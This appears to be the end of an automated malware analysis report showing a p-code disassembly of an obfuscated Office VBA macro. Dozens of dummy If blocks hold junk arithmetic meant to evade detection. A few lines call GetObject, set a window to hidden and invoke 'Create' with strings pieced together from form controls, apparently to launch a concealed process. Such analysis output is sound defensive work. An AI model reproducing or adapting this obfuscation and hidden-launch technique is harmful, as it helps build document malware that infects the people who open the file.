' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St TDocAXU 
' Line #9:
' 	EndIfBlock 
' Line #10:
' 	Ld iU44wZ 
' 	Ld vABxAcXA 
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LitDI4 0xAA2C 0x0E1E 
' 	LitDI4 0x1A48 0x10C7 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	LitDI4 0xB0F1 0x3A75 
' 	Div 
' 	LitDI4 0xCA47 0x1CD9 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0xF429 0x07E6 
' 	Mul 
' 	LitDI4 0xD01A 0x09A0 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0x34D1 0x13EF 
' 	LitDI4 0xA6C4 0x24B5 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St AADUZcA 
' Line #12:
' 	LitDI4 0x744E 0x2120 
' 	Ld PAAAAQA 
' 	ArgsLd Chr 0x0001 
' 	Ld pD1AAC 
' 	Div 
' 	LitDI4 0xBDC9 0x2E66 
' 	Div 
' 	Sub 
' 	Ld WAQBocC 
' 	LitDI4 0x37BA 0x1D32 
' 	Ld toAQGDAk 
' 	LitDI4 0x77D4 0x09E1 
' 	FnSgn 
' 	Mul 
' 	Ld zQZDwX 
' 	LitDI4 0x1103 0x31D6 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St BD_4DAUc 
' Line #13:
' 	EndIfBlock 
' Line #14:
' 	SetStmt 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	ArgsLd wCGxUxB 0x0001 
' 	Set WXQcXD 
' Line #15:
' 	Ld UAABUZA 
' 	Ld vwAxAk 
' 	Eq 
' 	IfBlock 
' Line #16:
' 	LitDI4 0xFFFA 0x2892 
' 	LitDI4 0x15B7 0x318D 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	LitDI4 0xCC0E 0x2EFC 
' 	Div 
' 	LitDI4 0x2A58 0x0C8E 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0xE237 0x258C 
' 	Mul 
' 	LitDI4 0x7AA4 0x382E 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0x34EC 0x01CC 
' 	LitDI4 0x9655 0x077A 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St fCxDcA 
' Line #17:
' 	LitDI4 0x563C 0x22CB 
' 	Ld zBBoGXA 
' 	ArgsLd Chr 0x0001 
' 	Ld QA_AC1 
' 	Div 
' 	LitDI4 0x88F0 0x2081 
' 	Div 
' 	Sub 
' 	Ld NABkxB 
' 	LitDI4 0x80C0 0x1BD4 
' 	Ld C_AA_D 
' 	LitDI4 0x93B0 0x3871 
' 	FnSgn 
' 	Mul 
' 	Ld zQAUBBw 
' 	LitDI4 0x8A94 0x3329 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St txAZAA 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	Ld TDAAAA 
' 	Ld YAA_k1C_ 
' 	Eq 
' 	IfBlock 
' Line #20:
' 	LitDI4 0x7D3B 0x04C3 
' 	LitDI4 0xCE86 0x0B3C 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	LitDI4 0xFCF4 0x269B 
' 	Div 
' 	LitDI4 0x40CD 0x201F 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0x1232 0x1457 
' 	Mul 
' 	LitDI4 0x142C 0x24B5 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0x39E8 0x1403 
' 	LitDI4 0x8E97 0x1053 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St GwDGUC 
' Line #21:
' 	LitDI4 0xD6DB 0x39C7 
' 	Ld Gc4AQZ 
' 	ArgsLd Chr 0x0001 
' 	Ld IcABAAAA 
' 	Div 
' 	LitDI4 0x5569 0x2D10 
' 	Div 
' 	Sub 
' 	Ld KQAA1w 
' 	LitDI4 0x6789 0x31A8 
' 	Ld tZoAAU 
' 	LitDI4 0x0C5B 0x3467 
' 	FnSgn 
' 	Mul 
' 	Ld BA_1AA 
' 	LitDI4 0x33EF 0x0FA7 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St XACAAUAA 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	LitDI4 0x2F2A 0x000A 
' 	LitDI4 0x2F2A 0x000A 
' 	Sub 
' 	Ld WXQcXD 
' 	MemSt jZ1AAU 
' Line #24:
' 	Ld ShowWindow 
' 	Ld wZxBxA 
' 	Eq 
' 	IfBlock 
' Line #25:
' 	LitDI4 0x2E47 0x37BE 
' 	LitDI4 0x1A9D 0x2EE8 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	LitDI4 0x9CF5 0x3963 
' 	Div 
' 	LitDI4 0xED77 0x2728 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0x514B 0x0B37 
' 	Mul 
' 	LitDI4 0x808C 0x1BE2 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0x8EE7 0x0E9A 
' 	LitDI4 0x3967 0x2D0E 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St uwD4Uxc 
' Line #26:
' 	LitDI4 0x2112 0x393C 
' 	Ld pwBcAAB_ 
' 	ArgsLd Chr 0x0001 
' 	Ld bDQ_AA 
' 	Div 
' 	LitDI4 0xF391 0x3B13 
' 	Div 
' 	Sub 
' 	Ld ZCcwoDAA 
' 	LitDI4 0xD672 0x092C 
' 	Ld h_AQoA 
' 	LitDI4 0x5741 0x183D 
' 	FnSgn 
' 	Mul 
' 	Ld bxAAx_ 
' 	LitDI4 0x738F 0x301D 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St RoQ1UA 
' Line #27:
' 	EndIfBlock 
' Line #28:
' 	Ld KxGAQDA 
' 	Ld LAADwww 
' 	Eq 
' 	IfBlock 
' Line #29:
' 	LitDI4 0x7173 0x0510 
' 	LitDI4 0x43A0 0x33AC 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	LitDI4 0xF7D9 0x0B65 
' 	Div 
' 	LitDI4 0xC480 0x1382 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0xF418 0x0128 
' 	Mul 
' 	LitDI4 0x3071 0x22BB 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0x8BFB 0x38DD 
' 	LitDI4 0x7BA5 0x009D 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St WBBAkCU 
' Line #30:
' 	LitDI4 0x1ED7 0x2C82 
' 	Ld f4DQAAA 
' 	ArgsLd Chr 0x0001 
' 	Ld lXQGAB 
' 	Div 
' 	LitDI4 0x9BC3 0x0746 
' 	Div 
' 	Sub 
' 	Ld iCUU1B 
' 	LitDI4 0xBA72 0x1C70 
' 	Ld kDB4AX 
' 	LitDI4 0xC519 0x38D6 
' 	FnSgn 
' 	Mul 
' 	Ld LBA_oQ 
' 	LitDI4 0xE3FE 0x1988 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St GwAQCBw 
' Line #31:
' 	EndIfBlock 
' Line #32:
' 	Ld tAZG_CC 
' 	Ld vXx_XAZ 
' 	Eq 
' 	IfBlock 
' Line #33:
' 	LitDI4 0xDD1B 0x3771 
' 	LitDI4 0x456E 0x04EB 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	LitDI4 0xE15D 0x3617 
' 	Div 
' 	LitDI4 0x9A7E 0x1AEB 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0x8E0B 0x1352 
' 	Mul 
' 	LitDI4 0x8AD5 0x08E7 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0x3DAA 0x02F2 
' 	LitDI4 0xD4B0 0x2D15 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St tUUAADw 
' Line #34:
' 	LitDI4 0x863C 0x1092 
' 	Ld qCAAkUA 
' 	ArgsLd Chr 0x0001 
' 	Ld ZUCUBwDX 
' 	Div 
' 	LitDI4 0x04D7 0x21FB 
' 	Div 
' 	Sub 
' 	Ld rAGUcA 
' 	LitDI4 0xC5B5 0x118D 
' 	Ld dAoUAUB 
' 	LitDI4 0xB6FD 0x0843 
' 	FnSgn 
' 	Mul 
' 	Ld wcDAD1Q 
' 	LitDI4 0xE44E 0x0D7D 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St dUDADBAA 
' Line #35:
' 	EndIfBlock 
' Line #36:
' 	LineCont 0x0004 07 00 00 00
' 	Ld Create 
' 	Ld MSForms 
' 	MemLd jUBUAxkx 
' 	Add 
' 	Ld NU_cwDA4 
' 	Add 
' 	Ld MSForms 
' 	MemLd kBDXAABk 
' 	Add 
' 	Ld IxocAABX 
' 	Add 
' 	Ld MSForms 
' 	MemLd DXAQ_A 
' 	Add 
' 	Ld BABDDQDD 
' 	Add 
' 	Ld n1AwAA 
' 	Ld WXQcXD 
' 	Ld iUGQxZo 
' 	Ld MSForms 
' 	MemLd GABUQUAA 
' 	ArgsLd wCGxUxB 0x0001 
' 	ArgsMemCall FCUAXBA# 0x0004 
' Line #37:
' 	Ld NA4cAUk 
' 	Ld HXAAAUAA 
' 	Eq 
' 	IfBlock 
' Line #38:
' 	LitDI4 0x3C09 0x148A 
' 	LitDI4 0xC431 0x2402 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	LitDI4 0x911C 0x3319 
' 	Div 
' 	LitDI4 0x0660 0x0FE2 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0x8428 0x1E82 
' 	Mul 
' 	LitDI4 0x068F 0x049C 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0xB505 0x2DEA 
' 	LitDI4 0x4C7B 0x100C 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St GoxAQA1 
' Line #39:
' 	LitDI4 0x27D4 0x04F4 
' 	Ld JUAkD1G 
' 	ArgsLd Chr 0x0001 
' 	Ld XA_kGA 
' 	Div 
' 	LitDI4 0x5914 0x0363 
' 	Div 
' 	Sub 
' 	Ld XcooCAAD 
' 	LitDI4 0x1C8B 0x0D19 
' 	Ld RDADQDD 
' 	LitDI4 0x472D 0x2AF2 
' 	FnSgn 
' 	Mul 
' 	Ld wkX_AAQA 
' 	LitDI4 0x2CC8 0x2B9B 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St LA1AXo 
' Line #40:
' 	EndIfBlock 
' Line #41:
' 	Ld LxAGZ1 
' 	Ld O4AAoBAx 
' 	Eq 
' 	IfBlock 
' Line #42:
' 	LitDI4 0xA834 0x08E9 
' 	LitDI4 0x4CC8 0x3774 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	LitDI4 0x5DD7 0x38AD 
' 	Div 
' 	LitDI4 0x4252 0x0ED0 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0x2019 0x3289 
' 	Mul 
' 	LitDI4 0xFFE6 0x19F1 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0xBBEC 0x0EF7 
' 	LitDI4 0x4CC3 0x2E3E 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St RAAxC4A 
' Line #43:
' 	LitDI4 0x8C38 0x3A49 
' 	Ld fABAXAAC 
' 	ArgsLd Chr 0x0001 
' 	Ld mUCGxUc 
' 	Div 
' 	LitDI4 0x0635 0x3092 
' 	Div 
' 	Sub 
' 	Ld mZAAAkAA 
' 	LitDI4 0xF4A1 0x1EB7 
' 	Ld BCcxcAAA 
' 	LitDI4 0xB839 0x2BC3 
' 	FnSgn 
' 	Mul 
' 	Ld RAAUwxBB 
' 	LitDI4 0x07E3 0x0502 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St MA_BAcA 
' Line #44:
' 	EndIfBlock 
' Line #45:
' 	Ld LXkAAA 
' 	Ld w_UDxAAU 
' 	Eq 
' 	IfBlock 
' Line #46:
' 	LitDI4 0xBA44 0x19C6 
' 	LitDI4 0x55F2 0x0A4B 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	LitDI4 0x0B78 0x2983 
' 	Div 
' 	LitDI4 0xCC7E 0x07F1 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0xF852 0x1B22 
' 	Mul 
' 	LitDI4 0x77B8 0x366D 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0x03D2 0x2F08 
' 	LitDI4 0x63B1 0x25A2 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St cABAA_AA 
' Line #47:
' 	LitDI4 0x334F 0x24B1 
' 	Ld GBAxwZ1 
' 	ArgsLd Chr 0x0001 
' 	Ld iGABAoB 
' 	Div 
' 	LitDI4 0x9453 0x0199 
' 	Div 
' 	Sub 
' 	Ld R_AZAcQ 
' 	LitDI4 0xA0FF 0x227E 
' 	Ld uAAAow 
' 	LitDI4 0xF87D 0x2DBD 
' 	FnSgn 
' 	Mul 
' 	Ld IABAGAA 
' 	LitDI4 0x04E5 0x06EE 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St UAkCDZB 
' Line #48:
' 	EndIfBlock 
' Line #49:
' 	EndSub 
' Line #50:

Open this report in the interactive analyzer, or submit your own file for analysis.